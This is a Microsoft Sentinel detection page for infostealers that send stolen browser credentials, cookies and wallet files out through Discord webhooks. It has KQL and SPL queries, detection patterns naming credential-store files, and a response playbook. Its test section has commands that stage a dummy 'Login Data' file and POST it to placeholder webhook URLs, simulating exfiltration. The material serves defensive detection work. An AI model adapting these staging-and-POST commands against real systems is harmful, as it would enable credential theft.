Detect Infostealer Credential Exfiltration via Discord Webhook in Microsoft Sentinel
Commodity infostealer malware (RedLine, Raccoon, Vidar, Lumma) and remote access trojans (AsyncRAT) overwhelmingly favor Discord webhooks as a C2-less exfiltration drop for stolen browser credential stores, cookies, cryptocurrency wallet files, and Discord/Telegram session tokens. The webhook URL is hardcoded into the compiled binary, requires no attacker-side listener infrastructure, and the resulting HTTPS traffic to discord.com blends into normal collaboration-tool egress that most enterprises never restrict. Because Discord is rarely blocked and the destination is a legitimate, widely-trusted SaaS domain, this vector routinely bypasses proxy category blocking and simple domain-reputation controls. The most reliable detection opportunity is not the network connection alone (Discord traffic is common) but the temporal pairing of a locked browser credential database being staged/copied by a non-browser process immediately before an outbound POST to a Discord webhook API path from that same process.
MITRE ATT&CK
- Tactic
- Exfiltration
KQL Detection Query
let DiscordWebhookRegex = @"discord(app)?\.com/api/webhooks/\d{17,20}/[A-Za-z0-9_-]{60,90}";
let CredFileNames = dynamic([
"Login Data", "Login Data For Account", "Cookies", "Local State",
"Web Data", "wallet.dat", "keystore.json", "Ledger Live"
]);
let BrowserProcesses = dynamic(["chrome.exe", "msedge.exe", "brave.exe", "opera.exe", "firefox.exe"]);
// Signal 1: a non-browser process creates a copy of a locked browser credential-store
// filename outside the live profile directory — the standard stealer technique for
// bypassing Chromium's SQLite file lock on "Login Data"/"Cookies"/"Web Data"
let StagedCredentialCopy = DeviceFileEvents
| where Timestamp > ago(2h)
| where ActionType == "FileCreated"
| where FileName in~ (CredFileNames)
| where FolderPath !has "User Data" and FolderPath !has "Mozilla"
| where FolderPath has_any (@"\Temp\", @"\AppData\Local\Temp", @"\ProgramData\", @"\AppData\Roaming\")
| where InitiatingProcessFileName !in~ (BrowserProcesses)
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessSHA256;
// Signal 2: outbound HTTPS request whose path matches the Discord webhook API pattern
let DiscordWebhookPost = DeviceNetworkEvents
| where Timestamp > ago(2h)
| where RemoteUrl matches regex DiscordWebhookRegex
| project Timestamp, DeviceName, AccountName, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessSHA256, BytesSent, RemotePort;
// High-confidence: same device + same process image hash, staged credential copy
// followed within 15 minutes by a webhook POST
let CorrelatedTheft = StagedCredentialCopy
| join kind=inner (DiscordWebhookPost) on DeviceName, InitiatingProcessSHA256
| where Timestamp1 - Timestamp between (0min .. 15min)
| extend Signal = "CredentialTheftThenWebhookPost", RiskScore = 90
| project WebhookPostTime=Timestamp1, DeviceName, AccountName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessSHA256,
RemoteUrl, BytesSent, Signal, RiskScore;
// Lower-confidence standalone signal: any non-collaboration-client process posting
// directly to a Discord webhook path
let StandaloneWebhookPost = DiscordWebhookPost
| where InitiatingProcessFileName !in~ ("discord.exe", "slack.exe", "teams.exe", "chrome.exe", "msedge.exe")
| extend Signal = "StandaloneDiscordWebhookPost", RiskScore = 60
| project WebhookPostTime=Timestamp, DeviceName, AccountName, FileName="", FolderPath="",
InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessSHA256,
RemoteUrl, BytesSent, Signal, RiskScore;
union CorrelatedTheft, StandaloneWebhookPost
| sort by RiskScore desc, WebhookPostTime desc Two-signal detection for infostealer exfiltration via Discord webhooks. High-confidence signal correlates a non-browser process staging a copy of a locked browser credential-store file (Login Data, Cookies, Web Data, wallet.dat) with an HTTPS POST from that same process hash to a Discord webhook API path within a 15-minute window — the hallmark RedLine/Raccoon/Vidar/Lumma pattern. A lower-confidence standalone signal flags any non-collaboration-client process contacting a Discord webhook path even without the correlated staging event, to catch stealer variants that read credential databases in-memory without dropping a staged copy to disk.
Data Sources
Required Tables
False Positives & Tuning
- Discord bots, moderation tools, or CI/CD integrations legitimately posting build/status notifications to a Discord webhook from a scripted or scheduled process
- Password manager or browser-sync utilities that legitimately stage a temporary copy of a credential store during migration or backup operations
- Security or forensic tooling that intentionally copies browser artifact files for authorized investigation, triggering the staged-copy signal
- Developer workstations testing a Discord bot integration that posts JSON payloads to a webhook.site or personal Discord server for debugging
Other platforms for THREAT-DiscordWebhook-InfostealerExfil
Testing Methodology
Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Staged Credential Copy Followed by Discord Webhook POST
Expected signal: Sysmon Event ID 11: File Create for '...\df00tech-staged\Login Data' outside any '\User Data\' path. Sysmon Event ID 1: Process Create for powershell.exe with CommandLine containing 'Invoke-RestMethod' and 'webhook.site'. Sysmon Event ID 3: Network Connection to webhook.site on port 443.
- Test 2Command-Line Discord Webhook Invocation (Script-Based Exfil Simulation)
Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'discord.com/api/webhooks/'. Sysmon Event ID 3: Network Connection attempted to discord.com:443 (fails with 401 due to invalid token, but telemetry is still generated).
References (6)
- https://attack.mitre.org/techniques/T1567/004/
- https://www.recordedfuture.com/research
- https://blog.talosintelligence.com/collab-app-abuse/
- https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord
- https://research.checkpoint.com/2023/discord-and-slack-malware-a-growing-threat/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1567.004/T1567.004.md
Response Playbook
Triage
- Identify the initiating process image and full path — is it a known, digitally-signed application, or an unsigned/randomly-named binary in %TEMP%, %APPDATA%, or %ProgramData%? Stealer payloads are almost always unsigned and dropped by a loader or phishing attachment.
- Check whether the same process hash both staged a copy of a browser credential file (Login Data, Cookies, Web Data, Local State, wallet.dat) and subsequently connected to discord.com — this correlated pairing is the highest-confidence indicator and should be treated as confirmed credential theft pending scope determination.
- Extract the destination webhook path from network or proxy logs if available (discord.com/api/webhooks/<id>/<token>) — this token, if recoverable, can be reported to Discord Trust & Safety to disable the drop and potentially identify the operator's other webhook channels.
- Enumerate which credential stores were targeted: browser Login Data/Cookies (all saved website passwords and session cookies), cryptocurrency wallet files (wallet.dat, Exodus/Electrum config), and Discord's own Local Storage leveldb (session tokens enabling account takeover without a password).
- Determine the initial infection vector: check parent process lineage for a cracked-software installer, fake CAPTCHA/ClickFix PowerShell paste, malicious npm/PyPI package, or phishing attachment — commodity stealers are typically delivered via one of these channels rather than targeted spear-phishing.
- Check for co-located clipboard hijacking or crypto-clipper behavior — RedLine, Raccoon, and Vidar are frequently bundled with clipper modules that swap copied cryptocurrency wallet addresses.
Containment
- Isolate the affected endpoint via EDR network isolation immediately — stealer exfiltration completes within seconds of execution, so isolation is primarily to prevent secondary payload delivery or lateral movement, not to stop the already-completed theft.
- Force a password reset and session/token revocation for every account with saved credentials in the affected browser profile — assume all Login Data entries and session cookies present at time of infection are compromised.
- Revoke and rotate the user's Discord account token if Discord was installed on the host — stealers specifically target Discord's Local Storage leveldb files to hijack authenticated sessions without needing MFA.
- If cryptocurrency wallet files were staged, treat any wallet with funds as compromised — move funds to a new wallet generated on a clean device immediately.
- Report the harvested webhook URL/token to Discord (via their developer abuse reporting channel) to have the webhook disabled, cutting off the attacker's collection point for this and any other infected hosts using the same drop.
- Remove the stealer binary and any persistence mechanism (scheduled task, run key, startup folder entry) identified in the process ancestry.
Evidence Collection
- Process creation events for the stealer binary: full path, parent process, command line, and SHA256 hash for threat intel correlation and multi-host hunting
- DeviceFileEvents/Sysmon Event ID 11 for the staged credential-store file copy: timestamp, destination path, and originating process — establishes exactly which credential stores were accessed
- DeviceNetworkEvents/Sysmon Event ID 3 network connection records to discord.com: timestamp, bytes sent, and destination — establishes the exfiltration window
- Browser profile inventory: which browsers and profiles existed on the host (Chrome, Edge, Brave, Firefox, Opera) determines the full blast radius of credential exposure
- Discord Local Storage leveldb files (%AppData%\discord\Local Storage\leveldb) — if accessed, indicates session token theft in addition to password theft
- Any dropped configuration or log file left by the stealer (some variants write a local staging log before transmission) — may reveal the full list of exfiltrated data categories
- Delivery artifact: the initial dropper, phishing email, or malicious installer used to deploy the stealer — critical for identifying whether this is an isolated infection or part of a broader campaign
Escalation Criteria
- !Confirmed correlated signal (staged credential copy + Discord webhook POST from the same process) on any host with access to privileged accounts, financial systems, or source code repositories
- !Cryptocurrency wallet files or wallet browser-extension storage confirmed present on the infected host
- !Discord Local Storage session token theft confirmed — enables account takeover bypassing password and MFA entirely until the token is revoked
- !Multiple hosts in the environment show the same stealer binary hash or the same webhook destination — indicates a fleet-wide infection vector (e.g., a compromised software update or supply-chain package) rather than an isolated user error
- !Evidence the stolen credentials have already been used from an unfamiliar geography or ASN in identity provider sign-in logs — treat as an active account compromise, not just a theft event
Investigation Guide
Related Techniques
Forensic Artifacts
- >
File System: staged copies of Login Data, Cookies, Web Data, Local State outside the browser's User Data folder — typically in %TEMP%, %AppData%\Roaming\<random>, or %ProgramData%\<random> - >
File System: %AppData%\discord\Local Storage\leveldb — Discord session token storage frequently targeted for account takeover - >
File System: cryptocurrency wallet application data directories (Exodus, Electrum, Ledger Live config folders) and browser wallet extension local storage (MetaMask, Phantom) - >
Registry: Run keys, scheduled tasks, or startup folder entries used for the stealer's initial execution or any secondary persistence - >
Network: Sysmon Event ID 3 / DeviceNetworkEvents connections to discord.com or discordapp.com from the stealer process, and any earlier connections to the delivery/staging infrastructure - >
Process: Sysmon Event ID 1 / DeviceProcessEvents showing the full process ancestry from initial delivery (installer, script, loader) through to the stealer binary execution - >
Prefetch: execution timestamp and frequency evidence for the stealer binary and any loader components - >
Browser artifacts: browsing history around the infection time may reveal the cracked-software site, fake CAPTCHA page, or malicious download that delivered the stealer
Tuning Guidance
The dominant source of noise is legitimate Discord bot and automation traffic — build an allowlist of approved bot service accounts and their associated process hashes/paths rather than suppressing discord.com wholesale, since that would blind you to the exact technique this detection targets. For the staged-credential-copy signal, exclude known password manager sync tools and any authorized forensic/migration tooling by process path or code-signing certificate rather than by filename alone, since stealers can rename their binary to mimic legitimate tools. Because Sysmon Event ID 3 does not capture HTTP path information, the network-only Sysmon signal is intentionally coarse (hostname-level); prioritize triage of the command-line and MDE RemoteUrl signals, which carry the full webhook path and materially higher fidelity. If SSL inspection is available at the proxy, enable it for discord.com specifically to recover the webhook path server-side and corroborate endpoint telemetry. Consider blocking discord.com outbound at the proxy for server/workstation asset classes that have no legitimate business use for Discord — this eliminates the technique's cover entirely for those populations.
Hunting Queries
Hunt across the fleet for any process (excluding the legitimate Discord client and browsers) whose command line or telemetry reveals a Discord webhook API path. A single binary hash appearing on multiple hosts is strong evidence of a stealer campaign rather than an isolated user mistake, and the process hash can be submitted to threat intel platforms for family attribution.
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl matches regex @"discord(app)?\.com/api/webhooks/\d{17,20}/"
| where InitiatingProcessFileName !in~ ("discord.exe", "chrome.exe", "msedge.exe")
| summarize Hits=count(), UniqueDevices=dcount(DeviceName), FirstSeen=min(Timestamp), LastSeen=max(Timestamp),
Devices=make_set(DeviceName, 20)
by InitiatingProcessFileName, InitiatingProcessSHA256
| sort by UniqueDevices desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
CommandLine="*discord*com/api/webhooks/*"
| stats count as Hits, dc(host) as UniqueHosts, values(host) as Hosts, earliest(_time) as FirstSeen, latest(_time) as LastSeen
by Image, Hash
| sort - UniqueHosts Hunt for processes staging two or more distinct browser credential-store filenames outside their live profile directory within a short window — a single legitimate reason for this pattern is rare, while a stealer harvesting multiple credential categories in one run is common. Use this to find infections that have not yet reached the network-exfiltration stage.
DeviceFileEvents
| where Timestamp > ago(14d)
| where ActionType == "FileCreated"
| where FileName in~ ("Login Data", "Cookies", "Web Data", "Local State", "wallet.dat")
| where FolderPath !has "User Data" and FolderPath !has "Mozilla"
| summarize StagingCount=count(), Files=make_set(FileName), FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
by DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256
| where StagingCount >= 2
| sort by StagingCount desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
(TargetFilename="*\\Login Data" OR TargetFilename="*\\Cookies" OR TargetFilename="*\\Web Data" OR TargetFilename="*\\Local State" OR TargetFilename="*wallet.dat")
NOT TargetFilename="*\\User Data\\*"
| stats count as StagingCount, values(TargetFilename) as Files, earliest(_time) as FirstSeen, latest(_time) as LastSeen
by host, Image
| where StagingCount >= 2
| sort - StagingCount Atomic Red Team Tests
Simulates the core RedLine/Raccoon/Vidar behavior pattern: a non-browser process copies a file named identically to a Chromium credential store (Login Data) to a temp directory outside the browser profile, then POSTs a harmless test payload to a safe webhook inspection endpoint. Uses a placeholder URL and a dummy file — no real credentials are read or transmitted.
Command
echo dummy-sqlite-header-for-atomic-test > %TEMP%\df00tech-staged\Login Data 2>nul & mkdir %TEMP%\df00tech-staged 2>nul & echo dummy-sqlite-header-for-atomic-test > "%TEMP%\df00tech-staged\Login Data"
powershell.exe -NoProfile -Command "Invoke-RestMethod -Uri 'https://webhook.site/00000000-0000-0000-0000-000000000000' -Method POST -ContentType 'application/json' -Body (@{content='atomic-test harmless payload'} | ConvertTo-Json)" Cleanup
rd /s /q %TEMP%\df00tech-staged Expected Telemetry
Sysmon Event ID 11: File Create for '...\df00tech-staged\Login Data' outside any '\User Data\' path. Sysmon Event ID 1: Process Create for powershell.exe with CommandLine containing 'Invoke-RestMethod' and 'webhook.site'. Sysmon Event ID 3: Network Connection to webhook.site on port 443.
Expected Detection
KQL StagedCredentialCopy signal fires on the 'Login Data' file creation outside 'User Data'. Note: this atomic test targets webhook.site rather than discord.com to avoid generating real Discord traffic — substitute a test Discord webhook URL to fully validate the DiscordWebhookPost signal and the correlated join.
Simulates a script-based loader posting collected data directly to a Discord webhook URL embedded in the command line — a pattern seen in lower-tier stealer variants and malicious npm/PyPI packages rather than compiled binaries with hardcoded URLs. Uses an invalid webhook ID so the POST fails safely.
Command
powershell.exe -NoProfile -Command "Invoke-RestMethod -Uri 'https://discord.com/api/webhooks/000000000000000000/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' -Method POST -ContentType 'application/json' -Body '{\"content\":\"atomic-test harmless payload\"}' -ErrorAction SilentlyContinue" Expected Telemetry
Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'discord.com/api/webhooks/'. Sysmon Event ID 3: Network Connection attempted to discord.com:443 (fails with 401 due to invalid token, but telemetry is still generated).
Expected Detection
KQL WebhookURLInCommandLine / StandaloneDiscordWebhookPost signal fires on the RemoteUrl match. SPL EventCode=1 fires on CommandLine matching 'discord*com/api/webhooks/'.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.